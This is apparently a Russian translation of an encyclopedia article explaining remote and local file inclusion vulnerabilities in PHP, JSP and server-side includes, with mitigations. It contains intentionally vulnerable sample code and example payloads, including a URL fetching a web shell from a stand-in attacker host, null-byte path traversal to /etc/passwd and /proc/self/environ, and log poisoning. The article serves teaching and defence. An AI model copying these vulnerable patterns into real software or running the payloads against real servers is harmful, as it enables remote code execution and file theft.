Уязвимость включения файлов
Уязвимость включения файлов — это тип веб- уязвимости , которая чаще всего затрагивает веб-приложения , использующие среду выполнения сценариев . Эта проблема возникает, когда приложение создает путь к исполняемому коду с использованием переменной, контролируемой злоумышленником, таким образом, что позволяет злоумышленнику контролировать, какой файл выполняется во время выполнения. Уязвимость включения файла отличается от обычной атаки с обходом каталога тем, что обход каталога является способом получения несанкционированного доступа к файловой системе , а уязвимость включения файла нарушает способ загрузки приложения кода для выполнения. Успешная эксплуатация уязвимости включения файлов приведет к удаленному выполнению кода на веб-сервере , на котором запущено уязвимое веб-приложение. Злоумышленник может использовать удаленное выполнение кода для создания веб-оболочки на веб-сервере, которую можно использовать для порчи веб-сайта .
Типы включения
[ редактировать ]Удаленное включение файлов
[ редактировать ]Удаленное включение файла ( RFI ) происходит, когда веб-приложение загружает и выполняет удаленный файл. Эти удаленные файлы обычно получаются в форме HTTP или FTP URI в качестве параметра, предоставляемого пользователем веб-приложению.
Включение локального файла
[ редактировать ]Включение локального файла ( LFI ) похоже на уязвимость удаленного включения файла, за исключением того, что вместо включения удаленных файлов для выполнения могут быть включены только локальные файлы, то есть файлы на текущем сервере. Эта проблема по-прежнему может привести к удаленному выполнению кода из-за включения файла, содержащего данные, контролируемые злоумышленником, например журналы доступа веб-сервера.
Языки программирования
[ редактировать ]PHP
[ редактировать ]В PHP основная причина связана с использованием непроверенного пользовательского ввода с функцией файловой системы, которая включает файл для выполнения. Наиболее примечательными являются include
и require
заявления. Большинство уязвимостей можно отнести к тому, что начинающие программисты не знакомы со всеми возможностями языка программирования PHP. В языке PHP есть директива, которая, если она включена, позволяет функциям файловой системы использовать URL-адрес для получения данных из удаленных мест. [1] Директива allow_url_fopen
в версиях PHP <= 4.3.4 и allow_url_include
начиная с PHP 5.2.0. В PHP 5.x эта директива по умолчанию отключена, в предыдущих версиях она была включена по умолчанию. [2] Чтобы воспользоваться этой уязвимостью, злоумышленник изменит переменную, передаваемую в одну из этих функций, чтобы включить в нее вредоносный код из удаленного ресурса. Чтобы минимизировать эту уязвимость, все вводимые пользователем данные необходимо проверять перед использованием. [3] [4]
Пример
[ редактировать ]Рассмотрим этот PHP- скрипт, который включает файл, указанный по запросу:
<?php
if (isset($_GET['language'])) {
include($_GET['language'] . '.php');
}
?>
<form method="get">
<select name="language">
<option value="english">English</option>
<option value="french">French</option>
...
</select>
<input type="submit">
</form>
Разработчик намеревался прочитать в english.php
или french.php
, который изменит поведение приложения для отображения языка по выбору пользователя. Но можно ввести другой путь, используя language
параметр.
/vulnerable.php?language=http://evil.example.com/webshell.txt?
- внедряет удаленно размещенный файл, содержащий вредоносный код (включая удаленный файл)/vulnerable.php?language=C:\\ftp\\upload\\exploit
- Выполняет код из уже загруженного файла с именемexploit.php
(уязвимость включения локального файла)/vulnerable.php?language=C:\\notes.txt%00
- пример использования NULL метасимвола для удаления.php
суффикс, разрешающий доступ к файлам, отличным от.php
. Такое использование внедрения нулевых байтов было исправлено в PHP 5.3 и больше не может использоваться для атак LFI/RFI. [5]/vulnerable.php?language=../../../../../etc/passwd%00
- позволяет злоумышленнику прочитать содержимое/etc/passwd
файл в Unix-подобной системе посредством атаки обхода каталога ./vulnerable.php?language=../../../../../proc/self/environ%00
- позволяет злоумышленнику прочитать содержимое/proc/self/environ
файл в Unix-подобной системе посредством атаки обхода каталога . Злоумышленник может изменить заголовок HTTP (например,User-Agent
) в этой атаке будет PHP-код для использования удаленного выполнения кода .
Лучшее решение в этом случае — использовать белый список допустимых языковых параметров. Если нельзя использовать надежный метод проверки ввода, такой как белый список, положитесь на фильтрацию ввода или проверку переданного пути, чтобы убедиться, что он не содержит нежелательных символов и шаблонов символов. Однако для этого может потребоваться предусмотреть все возможные проблемные комбинации символов. Более безопасное решение — использовать предопределенный оператор Switch/Case, чтобы определить, какой файл включить, а не использовать URL-адрес или параметр формы для динамического создания пути.
Страницы JavaServer (JSP)
[ редактировать ]JavaServer Pages (JSP) — это язык сценариев, который может включать файлы для выполнения во время выполнения.
Пример
[ редактировать ]Следующий скрипт уязвим к включению файлов:
<%
String p = request.getParameter("p");
@include file="<%="includes/" + p +".jsp"%>"
%>
/vulnerable.jsp?p=../../../../var/log/access.log%00
- В отличие от PHP, на JSP по-прежнему влияет внедрение нулевых байтов, и этот параметр будет выполнять команды JSP, найденные в журнале доступа веб-сервера.
Включения на стороне сервера (SSI)
[ редактировать ]встречается Включение на стороне сервера очень редко и обычно не включается на веб-сервере по умолчанию. Серверное включение можно использовать для удаленного выполнения кода на уязвимом веб-сервере. [6]
Пример
[ редактировать ]Следующий код уязвим к уязвимости удаленного включения файлов:
<!DOCTYPE html>
<html>
<head>
<title>Test file</title>
</head>
<body>
<!--#include file="USER_LANGUAGE"-->
</body>
</html>
Приведенный выше код не является XSS-уязвимостью , а скорее включает новый файл , который будет выполнен сервером.
См. также
[ редактировать ]- Атака (вычисления)
- Внедрение кода
- Metasploit Project , инструмент тестирования на проникновение с открытым исходным кодом, который включает тесты на RFI.
- SQL-инъекция
- Угроза (компьютер)
- w3af с открытым исходным кодом. — сканер безопасности веб-приложений
- Уязвимость учетных данных по умолчанию
Ссылки
[ редактировать ]- ^ «Использование удаленных файлов» . PHP . Проверено 3 марта 2013 г.
- ^ «Список директив php.ini» . PHP . Проверено 21 октября 2016 г.
- ^ «Удаленное включение файлов» . Консорциум по безопасности веб-приложений . Проверено 3 марта 2013 г.
- ^ «CWE-98: Неправильный контроль имени файла для оператора Include/Require в программе PHP («Удаленное включение файла PHP»)» . Общий перечень слабостей (CWE) . Митра . Проверено 3 марта 2013 г.
- ^ «PHP:: Request #39863:: file_exists() автоматически обрезается после нулевого байта» . bugs.php.net . Проверено 21 октября 2016 г.
- ^ «Учебное пособие по Apache httpd: Введение в серверные компоненты — HTTP-сервер Apache версии 2.4» . httpd.apache.org . Проверено 21 октября 2016 г.
Внешние ссылки
[ редактировать ]- Удаленное включение файлов в Консорциуме по безопасности веб-приложений
- Включение локального файла
- Локальное включение файлов и удаление файлов WordPress в справке по WP Hacked